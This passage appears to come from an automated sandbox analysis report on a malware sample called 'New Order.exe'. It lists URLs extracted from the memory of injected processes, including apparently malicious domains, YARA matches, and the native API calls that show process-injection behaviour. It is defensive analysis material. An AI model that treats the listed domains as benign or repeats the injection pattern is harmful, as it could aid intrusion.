20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 6e 73 65 69 6c 6e 73 61 66 74 6f 67 6f 2e 6f 72 67 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 09 3c 73 74 79 6c 65 3e 69 6d 67 3a 69 73 28 5b 73 69 7a 65 73 3d 22 61 75 74 6f 22 20 69 5d 2c 20 5b 73 69 7a 65 73 5e 3d 22 61 75 74 6f 2c 22 20 69 5d 29 20 7b 20 63 6f 6e 74 61 69 6e 2d 69 6e 74 72 69 6e 73 69 63 2d 73 69 7a 65 3a 20 33 30 30 30 70 78 20 31 35 30 30 70 78 20 7d 3c 2f 73 74 79 6c 65 3e 0a 09 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 33 2e 38 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 4e 53 41 46 20 2d 20 54 4f 47 4f 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 4e 53 41 46 20 2d 20 54 4f 47 4f 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 41 46 20 2d 20 54 4f 47 4f 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6

Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/js/min.js?v2.3
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/pics/28903/search.png)
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/pics/28905/arrrow.png)
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/pics/29590/bg1.png)
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://i3.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg
Source: w32tm.exe, 0000000E.00000002.4635164547.000000000399C000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000002E1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.2797262924.0000000028B5C000.00000004.80000000.00040000.00000000.sdmp, New Order.exe	String found in binary or memory: http://localhost/arkanoid_server/requests.php
Source: New Order.exe, 00000001.00000002.2168677711.0000000002F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/614_Genetics_Online_Activity.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/614_Genetics_Online_Class.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE%2F
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/614_Genetics_Online_Course.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE%2
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/614_Genetics_Online_Game.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE%2Fe
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/Genetics_Online_College_Course.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWN
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/__media__/design/underconstructionnotice.php?d=614genetics.online
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/__media__/js/trademark.php?d=614genetics.online&type=ns
Source: w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.614genetics.online/display.cfm
Source: XVZmwHdSYwx.exe, 00000011.00000002.4636187188.00000000052B9000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.conseilnsaftogo.org
Source: XVZmwHdSYwx.exe, 00000011.00000002.4636187188.00000000052B9000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.conseilnsaftogo.org/j7q9/
Source: w32tm.exe, 0000000E.00000002.4635164547.00000000046F0000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003B70000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.funnystory.online/cgi-sys/suspendedpage.cgi?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6
Source: w32tm.exe, 0000000E.00000002.4635164547.00000000046F0000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003B70000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.funnystory.online/cgi-sys/suspendedpage.cgi?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6aBY
Source: w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdn.consentmanager.net
Source: w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: w32tm.exe, 0000000E.00000002.4635164547.00000000040A8000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003528000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://delivery.consentmanager.net
Source: XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dts.gnpge.com
Source: w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: w32tm.exe, 0000000E.00000002.4631373048.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: w32tm.exe, 0000000E.00000003.2686317848.0000000007D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: w32tm.exe, 0000000E.00000002.4631373048.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
Source: w32tm.exe, 0000000E.00000003.2687423557.0000000000A31000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4631373048.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: w32tm.exe, 0000000E.00000003.2687423557.0000000000A31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: w32tm.exe, 0000000E.00000002.4631373048.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: w32tm.exe, 0000000E.00000003.2687423557.0000000000A31000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4631373048.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: w32tm.exe, 0000000E.00000003.2687423557.0000000000A31000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4631373048.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/

E-Banking Fraud

Initial sample is a PE file and has a suspicious name

Source: Yara match	File source: 8.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.4629567782.0000000000950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2489286072.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4636187188.0000000005250000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4633862013.0000000002DB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4633798417.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2486160123.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2490425395.0000000002620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4633944997.0000000002F00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: initial sample

Static PE information: Filename: New Order.exe

Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0042CE83 NtClose,	8_2_0042CE83
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842B60 NtClose,LdrInitializeThunk,	8_2_01842B60
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842DF0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_01842DF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842C70 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_01842C70
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018435C0 NtCreateMutant,LdrInitializeThunk,	8_2_018435C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01844340 NtSetContextThread,	8_2_01844340
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01844650 NtSuspendThread,	8_2_01844650
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842B80 NtQueryInformationFile,	8_2_01842B80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842BA0 NtEnumerateValueKey,	8_2_01842BA0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842BE0 NtQueryValueKey,	8_2_01842BE0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842BF0 NtAllocateVirtualMemory,	8_2_01842BF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842AB0 NtWaitForSingleObject,	8_2_01842AB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842AD0 NtReadFile,	8_2_01842AD0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842AF0 NtWriteFile,	8_2_01842AF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842DB0 NtEnumerateKey,	8_2_01842DB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842DD0 NtDelayExecution,	8_2_01842DD0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842D00 NtSetInformationFile,	8_2_01842D00
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842D10 NtMapViewOfSection,	8_2_01842D10
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842D30 NtUnmapViewOfSection,	8_2_01842D30
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842CA0 NtQueryInformationToken,	8_2_01842CA0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842CC0 NtQueryVirtualMemory,	8_2_01842CC0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842CF0 NtOpenProcess,	8_2_01842CF0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842C00 NtQueryInformationProcess,	8_2_01842C00
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842C60 NtCreateKey,	8_2_01842C60
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842F90 NtProtectVirtualMemory,	8_2_01842F90
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842FA0 NtQuerySection,	8_2_01842FA0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842FB0 NtResumeThread,	8_2_01842FB0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842FE0 NtCreateFile,	8_2_01842FE0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842F30 NtCreateSection,	8_2_01842F30
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842F60 NtCreateProcessEx,	8_2_01842F60
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842E80 NtReadVirtualMemory,	8_2_01842E80
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842EA0 NtAdjustPrivilegesToken,	8_2_01842EA0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842EE0 NtQueueApcThread,	8_2_01842EE0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842E30 NtWriteVirtualMemory,	8_2_01842E30
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01843090 NtSetValueKey,	8_2_01843090
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01843010 NtOpenDirectoryObject,	8_2_01843010
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018439B0 NtGetContextThread,	8_2_018439B0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01843D10 NtOpenProcessToken,	8_2_01843D10
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01843D70 NtOpenThread,	8_2_01843D70
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E4340 NtSetContextThread,LdrInitializeThunk,	14_2_033E4340
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E4650 NtSuspendThread,LdrInitializeThunk,	14_2_033E4650
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2B60 NtClose,LdrInitializeThunk,	14_2_033E2B60
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2BA0 NtEnumerateValueKey,LdrInitializeThunk,	14_2_033E2BA0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	14_2_033E2BF0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2BE0 NtQueryValueKey,LdrInitializeThunk,	14_2_033E2BE0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2AF0 NtWriteFile,LdrInitializeThunk,	14_2_033E2AF0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2AD0 NtReadFile,LdrInitializeThunk,	14_2_033E2AD0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2F30 NtCreateSection,LdrInitializeThunk,	14_2_033E2F30
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2FB0 NtResumeThread,LdrInitializeThunk,	14_2_033E2FB0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2FE0 NtCreateFile,LdrInitializeThunk,	14_2_033E2FE0
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2E80 NtReadVirtualMemory,LdrInitializeThunk,	14_2_033E2E80
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033E2EE0 NtQueueApcThread,LdrInitializeThunk,	14_2_033E2EE0
